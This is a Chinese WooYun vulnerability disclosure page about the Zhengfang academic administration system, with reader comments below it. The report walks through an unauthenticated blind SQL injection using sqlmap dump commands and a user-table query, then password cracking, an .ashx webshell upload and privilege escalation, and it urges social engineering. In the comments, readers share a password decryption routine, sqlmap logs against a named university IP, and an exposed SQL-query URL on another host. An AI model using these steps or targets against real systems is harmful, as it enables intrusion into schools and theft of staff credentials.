漏洞概要 关注数(122) 关注此漏洞
缺陷编号: WooYun-2014-73449
漏洞标题: 通用型正方教务(通杀各版本)存在注入(不需登陆)+获得webshell+提权内网漫游
相关厂商: 杭州正方
漏洞作者: sin
提交时间: 2014-08-24 14:04
公开时间: 2014-10-06 14:06
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 16
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系
Tags标签: 无
漏洞详情
披露状态:
2014-08-24: 细节已通知厂商并且等待厂商处理中
2014-08-27: 厂商已经确认,细节仅向厂商公开
2014-09-06: 细节向核心白帽子及相关领域专家公开
2014-09-16: 细节向普通白帽子公开
2014-09-26: 细节向实习白帽子公开
2014-10-06: 细节向公众公开
简要描述:
某个接口页面存在oracle盲注,可以获得当前用户数据库,dump教师用户表,分析密文加密特征(前人研究成果+基友助攻),破译加密的密码。前台管理员登陆,后台文件上传基于黑名单原理,过滤u完全,上传特定文件,生成一句话。菜刀连接,大马提权。
详细说明:
百度搜索:“欢迎使用正方教务管理系统!请登录” 可获得几十页的词条。足见其通用。
存在注入点的页面为http://域名(ip)/xsxjxtdl.aspx
随便找个例子,做演示。
通过burp suite拦截,然后sqlmap加载进行post注入。
漏洞证明:
确定存在注入,为oracle的时间盲注(复现时可能比较纠结,时间可以加大一点,一次跑不出,可以跑2次),一般人可能到此就放弃了,但是像我们比较笨的人,只有更努力一点了。不幸中的万幸,前辈们开拓的很深入(致敬),正方的数据库结构已经很明了了。用户密码加密方式,乌云知识库也有讨论。
ps:①数据库结构:http://**.**.**.**/bugs/wooyun-2010-010453(向2位师兄致敬)
②加密方式:http://**.**.**.**/tips/847
http://**.**.**.**/bugs/wooyun-2010-08283
一般可以用--sql-shell进行快速提取(oracle权限分配比较死,权限比较低)。切正方如果默认数据库名改变,跑不出表的。
select YHM,KL from "YHB" where YHM like 'jw%';
权限高的可以,直接dump了。
-D ZFXFZB -T YHB -C “yhm,kl” --start 1 --start 50
会得到一些,用户名和密码。(配合社工效果更佳,搞到管理员和老师的账号应该不是很难)
接下来,又是一个很苦逼的活。知道账号,密码很难解出来,只有试探弱密码,好在很多老师账号密码一致。这里要感谢基友彗星的全力助攻。根据乌云知识库的原理,写出了软件。
基友说,凭借小学英语和运气的组合,终于搞出了key。
然后,然后...发现乌云已经有人爆出了key。
依稀记得当时的感觉,就像千万只小学生中从心中奔腾而过。:(
好,接下来。进管理后台,拿webshell。后台过滤的还是蛮严格的。
asp.aspx.asa.1.asp;.jpg等等...均失败
然后灵光一闪,以前貌似看过ashx可以.net中生成一句话的。
于是:
以免有的同学,友情监测,还是打码为好。
学校机器一般年老失修,,,提权简直是so easy。
然后读出,管理密码。
嗯,大家猜对了,教务管理的密码惊人的一致。减少了一些提权之繁琐。
上传图片太痛苦了,so卡,就不上图了(不知是乌云的问题还是我的网速问题)。
罗里吧嗦的说了这么多,其实就是锲而不舍,才能达到最后,也没什么特别的。
修复方案:
修复的话:①页面做好过滤,参数化传入,防止注入
②后台上传也要过滤好。
③再就是校方,软件及时更新,教师密码安全普及一下。服务器上安全狗什么的,不要总是清一色的360安全卫士。(安装360最近的服务器管家也好,360大哥我错了,不要打我)
版权声明:转载请注明来源 sin@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-08-27 10:15
厂商回复:
CNVD确认所述情况,未完全复现(确认第一层风险),已经根据以往建立的邮箱联系渠道向软件生产厂商通报。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共4人评价):
登陆后才能进行评分
0%
25%
75%
0%
0%
评价
-
前排 带我装逼 带我飞 CCAV 给个特写
2# 回复此人 -
public static string jiemi(string PlainStr, string key) { string NewStr =""; int Pos = 1; if ((Strings.Len(PlainStr) % 2) == 0) { string Side1 = Strings.StrReverse(Strings.Left(PlainStr, (int) Math.Round((double) (((double) Strings.Len(PlainStr)) / 2.0)))); string Side2 = Strings.StrReverse(Strings.Right(PlainStr, (int) Math.Round((double) (((double) Strings.Len(PlainStr)) / 2.0)))); PlainStr = Side1 + Side2; } int _Vb_t_i4_0 = Strings.Len(PlainStr); for (int i = 1; i <= _Vb_t_i4_0; i++) { string strChar = Strings.Mid(PlainStr, i, 1); string KeyChar = Strings.Mid(key, Pos, 1); if (((((Strings.Asc(strChar) ^ Strings.Asc(KeyChar)) < 0x20) | ((Strings.Asc(strChar) ^ Strings.Asc(KeyChar)) > 0x7e)) | (Strings.Asc(strChar) < 0)) | (Strings.Asc(strChar) > 0xff)) { NewStr = NewStr + strChar; } else { NewStr = NewStr + StringType.FromChar(Strings.Chr(Strings.Asc(strChar) ^ Strings.Asc(KeyChar))); } if (Pos == Strings.Len(key)) { Pos = 0; } Pos++; } return NewStr; } 解密是这个吗
35# 回复此人 -
华农:202.116.160.17/xsxjxtdl.aspx sqlmap 没能redirect :((((((((
41# 回复此人 -
实验未果 @sin 是因为尝试次数不够还是?的确是2012年的正方 [17:16:19] [INFO] parsing HTTP request from 'c:/1.txt' [17:16:19] [INFO] testing connection to the target url [17:16:20] [INFO] testing if the url is stable, wait a few seconds [17:16:21] [INFO] url is stable [17:16:21] [WARNING] reflective value(s) found and filtering out [17:16:21] [WARNING] heuristic test shows that POST parameter 'tbSFZH' might not be injectable [17:16:21] [INFO] testing for SQL injection on POST parameter 'tbSFZH' [17:16:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [17:16:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT ype)' [17:16:25] [INFO] testing 'Oracle AND time-based blind' [17:16:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [17:16:43] [WARNING] POST parameter 'tbSFZH' is not injectable [17:16:43] [CRITICAL] all parameters appear to be not injectable. Try to increas e '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')
56# 回复此人 -
@sin [21:54:24] [WARNING] POST parameter 'tbSFZH' is not injectable [21:54:24] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to r erun by providing either a valid value for option '--string' (or '--regexp') 测试无果。
61# 回复此人 -
function getMD5(vin_string IN VARCHAR2) RETURN VARCHAR2 IS temp varchar2(40); BEGIN temp := dbms_obfuscation_toolkit.MD5(input => utl_raw.cast_to_raw(vin_string)); RETURN '{MD5}' || utl_raw.cast_to_varchar2(utl_encode.base64_encode(temp)); END getMD5; 表名看这里 http://61.153.27.181:93/db.asp?action=get&sql=select%20table_name%20from%20user_tables;
65# 回复此人 -
@楼上所有想捅正方菊花的孩子们.正方因为在之前收到很多漏洞递交,对2010版本进行了大升级为2012,目前以普及所有正方用户,那么,2012版本有什么特别呢?① 部门权限的C/S客户端的传输端口进行了MD5加密.且仅对内网开放② 源码根目录添加2个文件夹,分别为"style"app_config"一个用于过滤你的SQL&&;另外一个是用于APP接口.③ 老用户登录必须强制修改密码为数字+英文来避免弱口令并且使用MD5加密。④ 数据库IP并且仅对内网IP开放.⑤ 根目录下删除了多余无大用处的页面.且每个页面都有验证权限,除了xsxjxtdl.aspx。 ⑥ 正方自带的"安全巡检"升级,并且存在文件异动检测 ⑦ 太多了,我就不一一说了,另外给正方递交漏洞的那些人能不能保守点,人家正方在WOOYUN连厂商都不注册个,一个劲的递交啥? 待你需要曰时,或者需要源码以及各种的,你才知道可恶! 不过需要材料研究的可以加群:310068074 不客气,请叫我红领巾
73# 回复此人
评论